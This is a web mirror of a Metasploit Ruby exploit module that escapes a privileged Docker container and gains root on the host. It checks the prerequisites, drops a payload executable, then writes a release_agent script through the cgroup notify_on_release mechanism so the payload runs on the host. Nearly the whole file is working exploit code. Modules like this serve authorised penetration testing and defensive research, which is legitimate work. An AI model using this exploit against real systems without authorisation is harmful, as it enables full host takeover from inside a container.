CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/local/docker_privileged_container_escape.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
# POC modified from https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
7
class MetasploitModule < Msf::Exploit::Local
8
Rank = NormalRanking
9
10
prepend Msf::Exploit::Remote::AutoCheck
11
include Msf::Post::File
12
include Msf::Post::Linux::Priv
13
include Msf::Post::Linux::System
14
include Msf::Exploit::EXE
15
include Msf::Exploit::FileDropper
16
17
def initialize(info = {})
18
super(
19
update_info(
20
info,
21
{
22
'Name' => 'Docker Privileged Container Escape',
23
'Description' => %q{
24
This module escapes from a privileged Docker container and obtains root on the host machine by abusing the Linux cgroup notification on release
25
feature. This exploit should work against any container started with the following flags: `--cap-add=SYS_ADMIN`, `--privileged`.
26
},
27
'License' => MSF_LICENSE,
28
'Author' => ['stealthcopter'],
29
'Platform' => 'linux',
30
'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_MIPSLE, ARCH_MIPSBE],
31
'Targets' => [['Automatic', {}]],
32
'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 20 },
33
'SessionTypes' => ['shell', 'meterpreter'],
34
'DefaultTarget' => 0,
35
'References' => [
36
['EDB', '47147'],
37
['URL', 'https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/'],
38
['URL', 'https://github.com/stealthcopter/deepce']
39
],
40
'DisclosureDate' => '2019-07-17', # Felix Wilhelm @_fel1x first mentioned on twitter Felix Wilhelm
41
'Notes' => {
42
'Stability' => [ CRASH_SAFE ],
43
'Reliability' => [ REPEATABLE_SESSION ],
44
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
45
}
46
}
47
)
48
)
49
register_advanced_options(
50
[
51
OptBool.new('ForcePayloadSearch', [false, 'Search for payload on the file system rather than copying it from container', false]),
52
OptString.new('WritableContainerDir', [true, 'A directory where we can write files in the container', '/tmp']),
53
OptString.new('WritableHostDir', [true, 'A directory where we can write files inside on the host', '/tmp']),
54
]
55
)
56
end
57
58
def base_dir_container
59
datastore['WritableContainerDir'].to_s
60
end
61
62
def base_dir_host
63
datastore['WritableHostDir'].to_s
64
end
65
66
# Get the container id and check it's the expected 64 char hex string, otherwise return nil
67
def container_id
68
id = cmd_exec('basename $(cat /proc/1/cpuset)').chomp
69
unless id.match(/\A\h{64}\z/).nil?
70
id
71
end
72
end
73
74
# Check we have all the prerequisites to perform the escape
75
def check
76
# are in a docker container
77
unless file?('/.dockerenv')
78
return CheckCode::Safe('Not inside a Docker container')
79
end
80
81
# is root user
82
unless is_root?
83
return Exploit::CheckCode::Safe('Exploit requires root inside container')
84
end
85
86
# are rdma files present in /sys/
87
path = cmd_exec('ls -x /s*/fs/c*/*/r* | head -n1')
88
unless path.start_with? '/'
89
return Exploit::CheckCode::Safe('Required /sys/ files for exploitation not found, possibly old version of docker or not a privileged container.')
90
end
91
92
CheckCode::Appears('Inside Docker container and target appears vulnerable')
93
end
94
95
def exploit
96
unless writable? base_dir_container
97
fail_with Failure::BadConfig, "#{base_dir_container} is not writable"
98
end
99
100
pl = generate_payload_exe
101
exe_path = "#{base_dir_container}/#{rand_text_alpha(6..11)}"
102
print_status("Writing payload executable to '#{exe_path}'")
103
104
upload_and_chmodx(exe_path, pl)
105
register_file_for_cleanup(exe_path)
106
107
print_status('Executing script to exploit privileged container')
108
109
script = shell_script(exe_path)
110
111
vprint_status("Script: #{script}")
112
print_status(cmd_exec(script))
113
114
print_status "Waiting #{datastore['WfsDelay']}s for payload"
115
end
116
117
def shell_script(payload_path)
118
# The tricky bit is finding the payload on the host machine in order to execute it. The options here are
119
# 1. Find the file on the host operating system `find /var/lib/docker/overlay2/ -name 'JGsgvlU' -exec {} \;`
120
# 2. Copy the payload out of the container and execute it `docker cp containerid:/tmp/JGsgvlU /tmp/JGsgvlU && /tmp/JGsgvlU`
121
122
id = container_id
123
filename = File.basename(payload_path)
124
125
vprint_status("container id #{id}")
126
127
# If we cant find the id, or user requested it, search for the payload on the filesystem rather than copying it out of container
128
if id.nil? || datastore['ForcePayloadSearch']
129
# We couldn't find a container name, lets try and find the payload on the filesystem and then execute it
130
print_status('Searching for payload on host')
131
command = "find /var/lib/docker/overlay2/ -name '#{filename}' -exec {} \\;"
132
else
133
# We found a container id, copy the payload to host, then execute it
134
payload_path_host = "#{base_dir_host}/#{filename}"
135
print_status("Found container id #{container_id}, copying payload to host")
136
command = "docker cp #{id}:#{payload_path} #{payload_path_host}; #{payload_path_host}"
137
end
138
139
vprint_status(command)
140
141
# the cow variables are random filenames to use for the exploit
142
c = rand_text_alpha(6..8)
143
o = rand_text_alpha(6..8)
144
w = rand_text_alpha(6..8)
145
146
%{
147
d=$(dirname "$(ls -x /s*/fs/c*/*/r* | head -n1)")
148
mkdir -p "$d/#{w}"
149
echo 1 >"$d/#{w}/notify_on_release"
150
t="$(sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab)"
151
touch /#{o}
152
echo "$t/#{c}" >"$d/release_agent"
153
printf "#!/bin/sh\\n%s > %s/#{o}" "#{command}" "$t">/#{c}
154
chmod +x /#{c}
155
sh -c "echo 0 >$d/#{w}/cgroup.procs"
156
sleep 1
157
cat /#{o}
158
rm /#{c} /#{o}
159
}.strip.split("\n").map(&:strip).join(';')
160
end
161
end
162
163